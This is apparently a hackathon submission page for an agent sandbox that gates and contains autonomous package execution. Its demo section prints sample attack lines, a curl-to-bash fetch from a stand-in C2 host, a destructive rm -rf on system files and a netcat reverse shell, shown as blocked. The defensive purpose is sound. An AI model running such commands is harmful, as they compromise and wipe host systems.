Vultr Hackathon · Challenge 1: Blast Radius Zero

# Blast Radius Zero
# Autonomous AI Agent Sandbox

Eliminating the existential security threat of unvetted autonomous package execution through decoupled discovery, human gating, and immutable cryptographic proofs.

"Our thesis: **Discovery is not authority**. Containment is a verifiable property, not a promise."

Author: **Marcus Comotti** · jarvisprometheus.space

Vultr Region: sao (São Paulo) · Nov 2026

# The Autonomous Agent Dilemma

Autonomous agents evaluating GitHub repos or package registries risk executing malicious scripts during installation and test passes with full host permissions.



### Host Hijacking

Hostile packages (e.g., typosquatted setup.py or pre-install hooks) immediately execute shell code upon simple evaluation.



### Silent Egress & Theft

Malicious scripts exfiltrate AWS/Vultr API tokens and SSH keys to attacker C2 servers before anomaly detection wakes up.



### Post-Facto Failure

Traditional reactive antivirus and post-execution logs are useless once root compromise has occurred. Prevention must be architectural.

# Discovery Is Not Authority

We separate repository intelligence from package execution into two decoupled privilege domains.

DOMAIN 1: INSPECTION & PLANNING

## Zero-Execution Discovery

- ✓ AST & static file analysis without executing scripts.
- ✓ Bounded by Vultr Serverless Inference with hard token caps.
- ✓ Generates deterministic execution manifests & hashes.

DOMAIN 2: EPHEMERAL ACTUATION

## Gated Sandbox Execution

- ✓ Stage 03 Human Authorization Gate disarmed by default.
- ✓ Ephemeral micro-container destroyed immediately upon run.
- ✓ Zero host filesystem exposure; local root socket only.

# Native Vultr Cloud Architecture

Deployed live on Vultr Cloud Compute and Serverless Inference with zero public attack surface.

COMPUTE INSTANCE

**vc2-1c-1gb**

Vultr Cloud Node in São Paulo (sao). UUID: `409cab3a...`

PUBLIC ATTACK SURFACE

**0 TCP Ports**

Zero listening TCP ports. Ingress is completely closed to public network attacks.

SERVERLESS INFERENCE

**$0.000259**

Per-run discovery inference via Vultr API. Hard token limits prevent resource exhaustion.

LOCAL BROKER IPC

**0660 Socket**

Isolated Unix socket `/run/prometheus/...` restricted to root:prometheus.

Vultr Verification Command:

```
ss -tlpn # returns 0 open listening services
```

100% Host Containment

# The 4-Layer Containment Pipeline

Defense-in-depth ensures no single compromise can breach host integrity.

LAYER 1

### Boundary Filter

Rate limiting, token caps, and secret redaction. Protects host memory and Vultr API quotas.

LAYER 2 (CRITICAL)

### Human Gate

Stage 03 holds execution disarmed. Requires cryptographic operator token to transition to authorized.

LAYER 3

### Ephemeral Sandbox

Seccomp syscall jail, read-only rootfs, 128MB RAM quota, 0 outbound internet access.

LAYER 4

### Audit & Tamper Proof

SHA-256 evidence manifest sealed upon exit. Instant container wipe and destruction.

# The Containment Moment

Watch an adversarial supply-chain payload get neutralized in real-time.

### ⚠️ Adversarial Payload Injected

```
[ATTACK] curl -s http://c2.evil.com/shell.sh | bash
[ATTACK] rm -rf /var/run /etc/shadow
[ATTACK] nc -e /bin/sh 198.51.100.23 4444
```

Simulates real malware executing inside an autonomous agent's testing loop.

### 🛡️ Broker Interception & Quarantine

```
[TRAP] Syscall socket(AF_INET, SOCK_STREAM) DENIED
[TRAP] Write on read-only mount /etc/ EROFS
[CONTAINMENT] Container killed (SIGKILL) · Host intact
```

Host Files Changed: **0**

Data Leaked: **0 Bytes**

# Sealed Cryptographic Evidence

We don't ask judges to trust claims. Every execution is audited and committed to git.

AUDIT RECORD

**public-repository-binding-v1**

fba17a02db150499d300063c...

Ties the Vultr São Paulo instance to public commit 400f177.

AUDIT RECORD

**completion-assessment**

e2336338b163351d53341b21...

Validates all 54 pipeline stages passed without human bypass.

AUDIT RECORD

**sandbox-canary-public**

4a905dae26715206584c3116...

Verifies canary file destruction upon container shutdown.

GitHub Sealed Commit: 400f1770cfecdee74c1c7801477f05ff2f93e7be

Integrity: **100% MATCH**

# Ready for Evaluation

Explore the live deployment, interactive cockpit, and source code.

🚀

### Interactive Cockpit

Full pipeline walk-through, live attack simulator, and evidence inspector.

`jarvisprometheus.space/playground/cockpit/`

🎬

### Automated Demo Video

1080p studio narration walkthrough (1m 47s, under 3m rule).

`prometheus_vultr_challenge1_demo.mp4`

📦

### Open-Source Code

Public repo with full commit history, broker daemon, and audits.

`github.com/comottimarcus-dot/prometheus-x6-playground`

**Thank you, Vultr Team!**

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**SUBMISSION READY 100%**